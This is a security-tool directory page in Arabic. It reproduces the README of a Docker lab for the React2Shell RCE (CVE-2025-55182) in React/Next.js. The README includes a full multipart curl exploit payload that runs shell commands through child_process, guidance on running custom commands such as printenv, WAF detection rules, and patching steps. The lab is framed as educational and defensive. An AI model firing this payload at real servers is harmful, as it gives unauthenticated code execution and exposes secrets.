Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2025-55182-test-lab-windows — مختبر اختبار قائم على Docker لثغرة CVE-2025-55182 (React2Shell) RCE في React 19.1.0/Next.js 15.1.0. يتضمن نصوص استغلال واختبار تجاوز WAF مع NGINX/ModSecurity ومقارنة الإصدار المصحح للتعليم الأمني. | Kitploit
أدوات/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتجاوز WAFCTFاختبار الاختراقالتعلم والتعليمتطوير الحمولاتمختبرات وتدريب عملي
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

مختبر اختبار قائم على Docker لثغرة CVE-2025-55182 (React2Shell) RCE في React 19.1.0/Next.js 15.1.0. يتضمن نصوص استغلال واختبار تجاوز WAF مع NGINX/ModSecurity ومقارنة الإصدار المصحح للتعليم الأمني.

عرض المستودع
3منذ 9 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

اختبار CVE-2025-55182 (React2Shell)

⚠️ تحذير: يحتوي هذا المشروع على ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) قابلة للاستغلال فعليًا.

📋 جدول المحتويات

  • نظرة عامة
  • معلومات الثغرة
  • بدء سريع
  • عرض الهجوم الفعلي
  • بيئة الاختبار
  • قواعد دفاع WAF
  • هيكل الملفات
  • المراجع
  • إخلاء مسؤولية قانوني

نظرة عامة

بيئة اختبار حاويات (Container) لاختبار الثغرة الأمنية CVE-2025-55182 (React2Shell).

الميزات الرئيسية

  • ✅ إعادة إنتاج الثغرة الفعلية - بيئة React 19.1.0 / Next.js 15.1.0
  • ✅ نجاح هجوم RCE - تأكيد تنفيذ الأوامر الفعلية
  • ✅ - إعداد قواعد NGINX وApache ModSecurity
اختبار دفاع WAF
  • ✅ مقارنة النسخ المصححة - اختبار النسخة الضعيفة مقابل النسخة المصححة
  • ✅ بيئة Docker كاملة - بيئة حاويات معزولة
  • نتائج الهجوم

    root@kitploit:~
    🔴 CRITICAL VULNERABILITY CONFIRMED!
       Successfully executed 6/7 commands
    
    Executed Commands:
      ✅ whoami: root
      ✅ hostname: c89f1bd355b2
      ✅ pwd: /app
      ✅ id: uid=0(root) gid=0(root) groups=0(root)...
      ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
      ✅ node-ver: v20.19.6
    

    معلومات الثغرة

    CVE-2025-55182 (React2Shell)

    درجة CVSS: 10.0 (CRITICAL)
    التأثير: تنفيذ التعليمات البرمجية عن بُعد (RCE)
    المصادقة المطلوبة: لا يوجد
    متجه الهجوم: الشبكة

    الإصدارات الضعيفة

    • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
    • Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

    الإصدارات المصححة

    • React: 19.1.2+
    • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

    آلية الهجوم

    1. Prototype Pollution - تلويث النموذج الأولي عبر $1:__proto__:then
    2. الوصول إلى Function Constructor - الوصول عبر إلغاء تسلسل Blob (بادئة $B)
    3. تنفيذ تعليمات برمجية عشوائية - إنشاء دوال بكود يتحكم فيه المهاجم
    4. تنفيذ أوامر النظام - RCE عبر child_process
    root@kitploit:~
    // 공격 페이로드 구조
    {
      "then": "$1:__proto__:then",           // Object.prototype.then 오염
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',            // Blob 역직렬화 트리거
      "_response": {
        "_prefix": "악성_코드",               // 실행할 코드
        "_formData": {
          "get": "$1:constructor:constructor"  // Function constructor 접근
        }
      }
    }
    

    بدء سريع

    المتطلبات الأساسية

    • Docker Desktop
    • Node.js 20+ (للاختبار المحلي، اختياري)
    • ذاكرة RAM بسعة 4GB على الأقل
    • مساحة قرص فارغة لا تقل عن 2GB

    الخطوة 1: تشغيل البيئة

    Windows (PowerShell):

    root@kitploit:~
    PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
    

    الخطوة 2: التحقق من الحالة

    root@kitploit:~
    .\run-tests.ps1 status
    

    يجب الانتظار حتى تصل جميع الحاويات إلى الحالة healthy (يستغرق ذلك حوالي 1-2 دقيقة).

    الخطوة 3: تنفيذ الهجوم

    Windows (PowerShell):

    root@kitploit:~
    # 방법 1: PowerShell 스크립트 사용 (권장)
    .\tests\exploit-working.ps1
    
    # 방법 2: Node.js 직접 실행
    node tests\exploit-working.js
    
    ### الخطوة 4: التحقق من النتائج
    
    يمكنك التحقق من نتائج تنفيذ الأوامر في سجلات الخادم:
    
    ```bash
    docker compose logs vulnerable-app --tail=20
    

    عرض الهجوم

    سكربت الهجوم الآلي

    exploit-working.js ⭐ موصى به

    Windows:

    root@kitploit:~
    # PowerShell 스크립트 (권장)
    .\tests\exploit-working.ps1
    
    # 또는 Node.js 직접 실행
    node tests\exploit-working.js
    

    ما يتم تنفيذه:

    • ✅ تنفيذ أوامر شل عشوائية
    • ✅ التقاط مخرجات الأوامر من سجلات الخادم
    • ✅ اختبار تلقائي لعدة أوامر
    • ✅ توفير تقرير مفصل عن الثغرة

    الأوامر التي يتم اختبارها:

    • whoami - المستخدم الحالي (root)
    • hostname - اسم مضيف الحاوية
    • pwd - دليل العمل (/app)
    • id - معلومات المستخدم الكاملة
    • uname -a - معلومات النظام
    • node --version - إصدار Node.js

    الهجوم اليدوي

    الهجوم المباشر باستخدام curl

    root@kitploit:~
    # 페이로드 파일 생성
    cat > payload.txt << 'EOF'
    ------WebKitFormBoundary123
    Content-Disposition: form-data; name="0"
    
    {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
    ------WebKitFormBoundary123
    Content-Disposition: form-data; name="1"
    
    "$@0"
    ------WebKitFormBoundary123--
    EOF
    
    # 공격 전송
    curl -X POST http://localhost:3000/ \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
      -H "Next-Action: exploit" \
      --data-binary @payload.txt
    
    # 로그 실행 확인
    docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
    

    تنفيذ أوامر مخصصة

    يمكنك تعديل سكربت الهجوم لتنفيذ الأوامر التي تريدها:

    root@kitploit:~
    // exploit-working.js 파일에서:
    const tests = [
      { name: 'custom', cmd: 'ls -la /app', desc: '애플리케이션 디렉토리 목록' },
      { name: 'env', cmd: 'printenv', desc: '환경 변수 출력' }
    ]
    

    بيئة الاختبار

    حاويات Docker

    المنفذالخدمةإصدار Reactالغرضحالة WAF
    3000vulnerable-app19.1.0ضعيف - اختبار CVE-2025-55182❌ بدون حماية
    3001patched-app19.1.2آمن - التحقق من فعالية التصحيح✅ مصحح
    8080nginx → vulnerable19.1.0اختبار WAF (NGINX)⚠️ محدود (لا يفحص body)
    8081apache → vulnerable19.1.0اختبار WAF (ModSecurity)⚠️ محدود (استجابة 405)
    8082nginx → patched19.1.2اختبار الحماية المزدوجة✅ مصحح

    بيئة التطبيق

    • إطار العمل (Framework): Next.js 15.1.0 (App Router)
    • إصدار React: 19.1.0 (ضعيف)
    • Node.js: 20.19.6

    سيناريوهات الاختبار

    السيناريو 1: الهجوم على الإصدار الضعيف

    root@kitploit:~
    # 작동하는 공격 실행
    node tests/exploit-working.js
    
    # 예상 결과: 명령어 실행 성공
    # 출력: 사용자 정보, 시스템 세부 정보 등
    

    السيناريو 2: اختبار الإصدار المصحح

    Windows (PowerShell):

    root@kitploit:~
    # PowerShell 스크립트 사용
    .\tests\exploit-working.ps1 -Port 3001
    

    النتيجة المتوقعة: فشل الهجوم (يقوم React 19.1.2 بحظر الهجوم)

    السيناريو 3: اختبار حظر WAF

    Windows (PowerShell):

    root@kitploit:~
    # NGINX WAF를 통한 공격 시도
    .\tests\exploit-working.ps1 -Port 8080
    

    النتيجة المتوقعة: يتم الحظر بواسطة قواعد WAF


    قواعد دفاع WAF

    قواعد دفاع NGINX

    الموقع: nginx/nginx.conf

    أنماط الكشف:

    1. Prototype Pollution - __proto__, constructor:constructor
    2. استغلال Flight Protocol - مراجع $X:__proto__ و$B
    3. Gadget Chain - child_process, execSync, require()
    4. تجاوز عبر ترميز URL - %5f%5fproto%5f%5f
    5. ترويسات مشبوهة - Next-Action: #constructor

    سلوك الحظر:

    root@kitploit:~
    HTTP 403 Forbidden
    {
      "error": "Request blocked by WAF",
      "protection": "CVE-2025-55182",
      "waf": "NGINX"
    }
    

    قواعد Apache ModSecurity

    الموقع: apache/modsecurity-rules.conf

    نطاق معرفات القواعد (Rule IDs): 100001-100017

    القواعد الرئيسية:

    • 100001: كشف __proto__
    • 100002: الوصول إلى سلسلة Constructor
    • 100003-100004: استغلال Flight protocol
    • 100006-100007: أنماط Gadget chain
    • 100008-100011: محاولات RCE (child_process, exec, spawn, require)
    • 100015: ترويسة Next-Action مشبوهة
    • 100017: الحظر استنادًا إلى درجة الشذوذ (anomaly score)

    اختبار WAF

    root@kitploit:~
    # NGINX 차단 테스트
    curl -X POST http://localhost:8080/ \
      -H "Content-Type: application/json" \
      -d '{"__proto__": {"polluted": true}}'
    
    # 예상 응답: HTTP 403
    
    # ModSecurity 차단 테스트
    curl -X POST http://localhost:8081/ \
      -H "Next-Action: test#constructor" \
      -d '{"data": "test"}'
    
    # 예상 응답: HTTP 403
    

    التحقق من سجلات WAF

    root@kitploit:~
    # NGINX 보안 로그
    docker compose exec nginx tail -f /var/log/nginx/security.log
    
    # Apache ModSecurity 감사 로그
    docker compose exec apache tail -f /var/log/apache2/modsec_audit.log
    

    ⚠️ قيود WAF

    مهم: يحتوي تكوين WAF الحالي على القيود التالية:

    NGINX (المنفذ 8080)

    • ❌ لا يفحص Request body
    • تفحص إعدادات NGINX الافتراضية URL ومعاملات الاستعلام (query parameters) والترويسات فقط
    • لا يتم اكتشاف حمولة الاستغلال (exploit payload) لأنها مضمنة في body بتنسيق multipart/form-data
    • الحل: يلزم استخدام lua-nginx-module أو حل WAF منفصل

    Apache ModSecurity (المنفذ 8081)

    • ⚠️ Next.js يرفض طلبات POST (405 Method Not Allowed)
    • ModSecurity مفعّل ويمكنه فحص body
    • لكنه يتطلب ترويسة Next-Action، وهذه الترويسة وحدها لا توفر حماية كافية
    • الحالة الحالية: يتم إرجاع استجابة 405 قبل أن يفحص WAF الـ body

    الدفاع ضد الهجوم الفعلي:

    • ✅ الطريقة الأكثر فعالية: ترقية React/Next.js إلى الإصدارات المصححة (المنفذان 3001 و8082)
    • ⚠️ يوفر WAF حماية جزئية فقط: محدود ضد الهجمات التي تتطلب فحص الـ body

    هيكل الملفات

    root@kitploit:~
    cve-2025-55182-test-lab-windows/
    ├── README.md                           # README
    ├── docker-compose.yml                  # Docker 환경 설정
    ├── run-tests.ps1                       # Windows 실행 스크립트
    ├── run-tests.sh                        # Linux/Mac 실행 스크립트
    │
    ├── vulnerable-app/                     # 취약 버전 애플리케이션
    │   ├── Dockerfile
    │   ├── package.json                    # React 19.1.0, Next.js 15.1.0
    │   ├── next.config.js
    │   ├── app/
    │   │   ├── layout.js                   # 기본 레이아웃
    │   │   ├── page.js                     # 메인 페이지
    │   │   └── api/
    │   │       └── health/                 # 헬스 체크 엔드포인트
    │   │           └── route.js
    │   └── tests/                          
    │
    ├── patched-app/                        # 취약점 해결 버전 애플리케이션
    │   ├── Dockerfile
    │   ├── package.json                    # React 19.1.2, Next.js 15.1.9
    │   ├── next.config.js
    │   └── app/
    │       ├── layout.js
    │       ├── page.js
    │       └── api/
    │           └── health/
    │               └── route.js
    │
    ├── tests/                              # 공격 스크립트
    │   ├── exploit-working.js              # RCE 공격 (Node.js)
    │   ├── exploit-working.ps1             # RCE 공격 (PowerShell)
    │   └── exploit-working.cmd             # RCE 공격 (배치 파일)
    │
    ├── nginx/                              # NGINX WAF 설정
    │   ├── nginx.conf                      # CVE-2025-55182 차단 룰
    │   └── nginx-patched.conf              # 프락시 설정
    │
    └── apache/                             # Apache ModSecurity 설정
        ├── Dockerfile
        ├── apache-config.conf
        └── modsecurity-rules.conf          # ModSecurity 차단 룰
    

    طرق التحقق من الهجوم

    الطريقة 1: التحقق من مخرجات السكربت

    يعرض سكربت الهجوم النتائج مباشرة:

    root@kitploit:~
    [whoami] Sending exploit...
      ✅ SUCCESS! Output: root
    

    الطريقة 2: مراقبة سجلات الخادم

    root@kitploit:~
    # 실시간 로그 모니터링
    docker compose logs -f vulnerable-app
    
    # 확인 필요 사항:
    # [EXPLOIT] Executing: whoami
    # [RESULT] root
    

    الطريقة 3: التحقق من مؤشرات الهجوم

    root@kitploit:~
    # 공격이 실행되었는지 확인
    docker compose exec vulnerable-app ps aux | grep node
    
    # 파일 시스템 변경 확인 (파일을 작성한 경우)
    docker compose exec vulnerable-app ls -la /tmp
    

    الإجراءات التصحيحية

    الترقيع عبر npm

    1. ترقية React - تثبيت الإصدار 19.1.2 أو أحدث:

      root@kitploit:~
      npm install react@^19.1.2 react-dom@^19.1.2
      
    2. ترقية Next.js - تثبيت الإصدار 15.1.9 أو أحدث:

      root@kitploit:~
      npm install next@^15.1.9
      
    3. إعادة البناء وإعادة النشر:

      root@kitploit:~
      npm run build
      # 프로덕션 환경에 배포
      

    التحقق بعد الترقيع

    Windows (PowerShell):

    root@kitploit:~
    # 패치된 버전으로 테스트
    .\tests\exploit-working.ps1 -Port 3001
    
    # 또는
    $env:TARGET_PORT=3001; node tests\exploit-working.js
    

    Linux/Mac:

    root@kitploit:~
    # 패치된 버전으로 테스트
    TARGET_PORT=3001 node tests/exploit-working.js
    

    مثال على النتيجة: ℹ️ Exploitation failed

    الإجراءات الأمنية عند تعذر الترقيع

    1. نشر قواعد WAF - استخدام قواعد NGINX/ModSecurity من هذا المشروع
    2. تقسيم الشبكة (Network Segmentation) - تقييد الوصول الخارجي
    3. تقييد المعدل (Rate Limiting) - تطبيق القيود على نقاط نهاية Server Action
    4. مراقبة السجلات - مراقبة سجلات محاولات الهجوم

    أوامر Docker

    إدارة البيئة

    root@kitploit:~
    # 시작
    .\run-tests.ps1 start
    
    # 상태 확인
    .\run-tests.ps1 status
    
    # 로그 보기
    .\run-tests.ps1 logs
    
    # 중지
    .\run-tests.ps1 stop
    
    # 초기화 (모든 컨테이너 및 볼륨 삭제)
    .\run-tests.ps1 clean
    

    استكشاف الأخطاء وإصلاحها

    إذا لم يعمل الهجوم

    Windows (PowerShell):

    root@kitploit:~
    # 1. 버전 확인
    docker compose exec vulnerable-app npm list react next
    
    # 다음과 같이 표시되어야 함:
    # [email protected]
    # [email protected]
    
    # 2. 서버가 응답하는지 확인
    curl http://localhost:3000
    
    # 3. Docker 로그 확인
    docker compose logs vulnerable-app --tail=50
    
    # 4. 컨테이너 재시작
    docker compose restart vulnerable-app
    

    إذا تعذر التحقق من المخرجات

    Windows (PowerShell):

    root@kitploit:~
    # PowerShell에서 로그 필터링
    docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"
    

    Docker Desktop لا يعمل (خاص بنظام Windows)

    أعراض الخطأ:

    root@kitploit:~
    error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...
    

    طريقة الحل:

    1. شغّل Docker Desktop
    2. تحقق من أن أيقونة علبة النظام (tray) خضراء
    3. تحقق باستخدام الأمر docker ps

    تعذر تشغيل سكربت PowerShell (خاص بنظام Windows)

    أعراض الخطأ:

    root@kitploit:~
    이 시스템에서 스크립트를 실행할 수 없으므로...
    

    طريقة الحل:

    root@kitploit:~
    # 현재 세션에만 적용
    Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
    
    # 또는 직접 실행
    PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1
    

    خطأ الأذونات

    تحقق من أن Docker يعمل وأن الأذونات متوفرة:

    جميع المنصات:

    root@kitploit:~
    docker compose ps
    

    تعارض المنافذ

    إذا كان تطبيق آخر يستخدم المنفذ:

    Windows (PowerShell):

    root@kitploit:~
    # 포트 사용 프로세스 확인
    netstat -ano | findstr :3000
    
    # 프로세스 종료 (PID 확인 후)
    taskkill /PID <PID> /F
    

    جميع المنصات (تعديل docker-compose.yml):

    root@kitploit:~
    # 포트를 변경하여 충돌 회피
    services:
      vulnerable-app:
        ports:
          - "3010:3000"  # 3000 → 3010으로 변경
    

    إذا لم يعمل WAF

    جميع المنصات:

    root@kitploit:~
    # NGINX 설정 테스트
    docker compose exec nginx nginx -t
    
    # Apache 설정 테스트
    docker compose exec apache apachectl configtest
    
    # 로그 확인
    docker compose logs nginx --tail=30
    docker compose logs apache --tail=30
    

    المراجع

    البيانات الأمنية الرسمية

    • البيان الأمني لـ React
    • ملخص Vercel لـ CVE-2025-55182
    • البيان الأمني لـ Next.js CVE-2025-66478
    • NVD - CVE-2025-55182

    التحليلات التقنية

    • Datadog Security Labs - CVE-2025-55182
    • Wiz Blog - ثغرة RCE حرجة في React
    • تحليل Palo Alto Unit42
    • مدونة Kaspersky
    • مدونة OX Security

    إثباتات المفهوم

    • msanft/CVE-2025-55182
    • dwisiswant0/CVE-2025-55182
    • EynaExp/CVE-2025-55182-POC
    • Spritualkb/CVE-2025-55182-exp
    • ejpir/CVE-2025-55182-research

    الترخيص

    يُقدَّم هذا المشروع لأغراض تعليمية وبحوث أمنية.

    قيود الاستخدام:

    • يُستخدم فقط في الاختبارات الأمنية المصرح بها
    • يُمنع تعديله لأغراض خبيثة

    تنزيل الأداة